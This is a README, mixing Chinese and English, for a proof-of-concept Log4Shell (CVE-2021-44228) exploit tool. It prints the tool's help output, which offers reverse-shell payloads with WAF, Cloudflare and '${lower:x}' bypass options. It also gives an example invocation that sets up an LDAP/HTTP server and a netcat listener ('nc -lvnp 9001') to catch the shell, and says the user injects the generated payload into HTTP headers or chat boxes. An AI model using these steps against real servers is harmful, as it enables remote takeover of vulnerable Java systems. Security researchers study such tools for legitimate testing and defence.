针对 CVE-2021-44228 漏洞的概念验证型漏洞利用工具。
Log4j 用于记录安全和性能信息,影响范围覆盖超过 30 亿使用 Java 的设备,涉及各类消费级和企业级服务、网站和应用程序,以及医疗设备和配套系统。
注意:这不是“一键点击”型漏洞利用工具。初始触发载荷将被生成,但将其注入到合适位置(如 HTTP 头/聊天框/等)将由用户自行完成。
usage: python CVE-2021-44228-exploit.py --help
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html
usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]
log4shell Reverse shell exploit
optional arguments:
-h, --help show this help message and exit
--userip userip Enter IP for LDAPRefServer & Shell
--webport webport listener port for HTTP port
--lport lport Netcat Port
-b bypass, --bypass bypass
Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
${lower:x} method restriction bypass
python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods
2) 在本地机器上运行 netcat,监听 9001 端口
nc -lvnp 9001
